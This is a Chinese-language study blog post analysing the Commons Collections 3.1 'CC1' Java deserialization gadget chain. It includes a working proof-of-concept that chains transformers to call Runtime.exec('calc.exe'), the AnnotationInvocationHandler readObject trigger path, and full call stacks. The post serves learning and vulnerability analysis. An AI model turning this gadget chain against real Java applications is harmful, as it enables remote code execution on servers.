zoukankan      html  css  js  c++  java
  • javaweb--cc1分析(1)

    InvokerTransformerCC1链的漏洞点位于commons-collections-3.1.jarorgapachecommonscollectionsfunctorsInvokerTransformer.class中反射加载参数可控

     可以发现触发点在调用了InvokerTransformer类的Transformer方法(也就是反射命令执行点)

    我们先了解一下这些类

    TransformedMap
    InvokerTransformer
    ConstantTransformer
    ChainedTransformer

    TransformedMap

    我们看代码这里调用的是decorate方法

    debug代码

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class TransformedMap_class {
        public static void main(String[] args) throws Exception{
            Map innerMap = new HashMap();
            innerMap.put("N0lan", "value");
            Map outerMap = TransformedMap.decorate(innerMap, new Hello(), new Hello1());
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            onlyElement.setValue("foobar");
        }
    }
    class Hello implements Transformer {
        @Override
        public Object transform(Object input) {
            System.out.println(input.toString());
            return "Hello";
        }
    }
    
    
    class Hello1 implements Transformer {
        @Override
        public Object transform(Object input) {
            System.out.println(input.toString());
            return "Hello1";
        }
    }
    

      可以发现这个函数就是完成实列化的过程,并且调用对象的trasform方法

     InvokerTransformer

    此类里面的transform类在input不为空的时候会触发反射加载从而导致命令执行

     ConstantTransformer

    返回值为当前参数的对象

     ChainedTransformer

     ChainedTransformer类的transform方法把传入的对象依次执行tranform方法后返回

    这里会返回在之后调用InvokerTransformer.transform(Runtime)

    TransformedMap利用链

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class ccONE {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.getRuntime()),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChain
            Map innerMap = new HashMap();
            innerMap.put(null, null);
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
            //触发漏洞
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            onlyElement.setValue(null);
    
        }}
    

      调试发现是这样调用到InvokerTransformer的transform方法的

    transform:124, InvokerTransformer (org.apache.commons.collections.functors)
    transform:122, ChainedTransformer (org.apache.commons.collections.functors)
    checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
    setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
    main:27, ccONE

    反序列化

    
    

     这里 要用到AnnotationInvocationHandler.readObject()函数 不然 得化这个点就会很鸡肋 ,的反序列化在转换成Map(Entry)然后调用.setValue()才能触发exp,很难找这样的点

    但是AnnotationInvocationHandler 恰好满足了这点 这里由于是萌新所以一步一步分析

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject(); 
            AnnotationType var2 = null;
    
            try {
                var2 = AnnotationType.getInstance(this.type);
            } catch (IllegalArgumentException var9) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator();//迭代
    
            while(var4.hasNext()) {
                Entry var5 = (Entry)var4.next();//转换为Entry
                String var6 = (String)var5.getKey();
                Class var7 = (Class)var3.get(var6);
                if (var7 != null) {
                    Object var8 = var5.getValue();
                    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                    }
                }
            }
    

     

     至于为什么map key必须绑定为value

    https://xz.aliyun.com/t/7031#toc-9

    因此完整的调用过程链是

    ObjectInputStream.readObject()
    	ObjectInputStream.readObject0()
    		ObjectInputStream.readOrdinaryObject()
    			ObjectInputStream.readSerialData()
    				ObjectStreamClass.invokeReadObject()
    					Method.invoke()
    				DelegatingMethodAccessorImpl.invoke()
    							NativeMethodAccessorImpl.invoke()
    								NativeMethodAccessorImpl.invoke0()
    									AnnotationInvocationHandler.readObject()
    										MapEntry.setValue()
                        TransformedMap.checkSetValue()
                                ChainedTransformer.transform()
                                    ConstantTransformer.transform()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Class.getMethod()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.getRuntime()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.exec()
    

     参考

    https://www.cnblogs.com/nice0e3/p/13860621.html
    https://mochazz.github.io/page/2/
    https://blog.0kami.cn/archives/
    https://www.anquanke.com/post/id/195865
    https://www.cnblogs.com/kuaile1314/p/14239718.html
    https://xz.aliyun.com/t/4711#toc-3
    https://xz.aliyun.com/t/7031#toc-9
    

      

    :学习java cc1就这么难 后面还咋学呀,学一点算一点吧 少就是多 满慢就是快

  • 相关阅读:
    java实训
    二维数组转置
    java第四次上机
    建立一个窗体
    java第三次上机
    数据结构晚自习
    Java程序设计第一次作业
    JAVA程序设计的第一次作业
    java中窗体的转化
    数据结构串的使用
  • 原文地址:https://www.cnblogs.com/-zhong/p/14929382.html
Copyright © 2011-2022 走看看